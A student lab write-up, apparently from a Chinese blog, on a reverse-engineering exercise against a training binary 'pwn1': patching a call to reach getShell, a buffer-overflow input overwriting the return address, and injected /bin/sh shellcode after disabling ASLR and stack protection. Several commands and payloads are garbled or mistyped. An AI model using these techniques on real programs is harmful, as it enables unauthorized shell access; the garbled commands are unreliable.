• Exp1 PC平台逆向破解 Week2


    Exp1 PC平台逆向破解 Week2 - 20165229

    实验准备


    1. 复习Linux基本操作
    2. 将pwn1传到kali中,并备份


    知识点描述

    1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。

    • NOP-90
    • JNE-75
    • JE-74
    • JMP-eb
    • CMP-39


    实验目的

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。


    任务一

    手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    1.输入objump -d pwn1反汇编pwn1文件。

    图一

    反汇编结束后:main函数中有个一步call 804891<fool>,call的机器吗为e808048491是foo函数地址,getshell地址函数为804847d是我们的跳转目标。通过计算其关系(小端机器)。

    0x08048491 -0x0804847d =0x00000014 //计算地址差
    0xffffffd7 -ox00000014 = 0xffffffc3 //计算要修改的目标地址
    

    2.输入``vi pwn1```打开文件进行编辑。出现乱码

    图二
    3.输入命令:%xxd将文件转换为16进制查看。
    4.使用/d7命令寻找e8dffffff机器指令所在位置查看。
    5.找到后,输入i 进行插入,将d7改为c3

    图三
    5.修改完后输入:%!xxdd -r 将文件转回ASII码值。可能无法保存,需要输入!wq,强制保存
    6.返回终端后输入指令objdump 0d pwm1进行查看,发现文件已经被修改。

    图四
    7.分别执行两个文件,发现结果不同,实验成功。

    图五



    实验二

    利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    图六(栈的示意)

    实验步骤

    1.使用命令gdbfile pwn2载入pwn1.
    2.输入r执行pwn2
    3.程序正常执行,手动输入一个长36字符的数据abcdefghijklmnopqrstuvwxyz1233456789后回车,发生错误segmentation fault 0x303938337 in ??()```


    图七

    4.使用perl语句,用管道的方式把上一个命令的结果作为下一个的输入。perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

    图八



    任务三

    注入一个自己制作的shellcode并运行这段shellcode。

    • shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

    实验步骤

    1.安装execstack。输入指令apt-get intall execstack并设置堆栈可执行:

    execstack -s pwn3 //设置堆栈可执行
    execstack -q pwn3//设置文件的堆栈是否可执行
    

    2.关闭随机地址

    'echo "0" > /proc/sys/kernel/randomize_va_space
    

    3.构造一个input_shellcode

    perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    

    4.打开一个新窗口
    5.在一个窗口运行(cat input_shellcode;cat) | ./pwn3,另一个运行ps -ef | grep pwn能看见pwn3进程号为4424。

    图九

    6.在gdb中进行调试attach 4424
    7.disassemble foo 反汇编。
    8.设置断点b *0x080484ae
    9.gdb调试中输入c继续运行
    10.info r esp查看esp寄存器
    11./x16 0xffffd28c


    图十

    12.oxffffd28c+0x00000004=0xffff290
    12.修改代码覆盖地址

    perl -e 'print "A" x 32;print "x90xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    

    13.输入指令(cat input_shellcode;cat) | ./pwn3

    图十一
    攻击成功



    实验中遇到的问题

    bash: ./pwn1: 权限不够
    解决办法:chmod +x pwn1即可。

  • 相关阅读:
    class7-附
    class6-附
    class6
    class5-附
    class4-附
    class4
    class3-附【家庭资产配置】
    class2
    芒果绿的blog
    java网络爬虫基础学习(四)
  • 原文地址:https://www.cnblogs.com/zkkj/p/10548279.html
Copyright © 2020-2023  润新知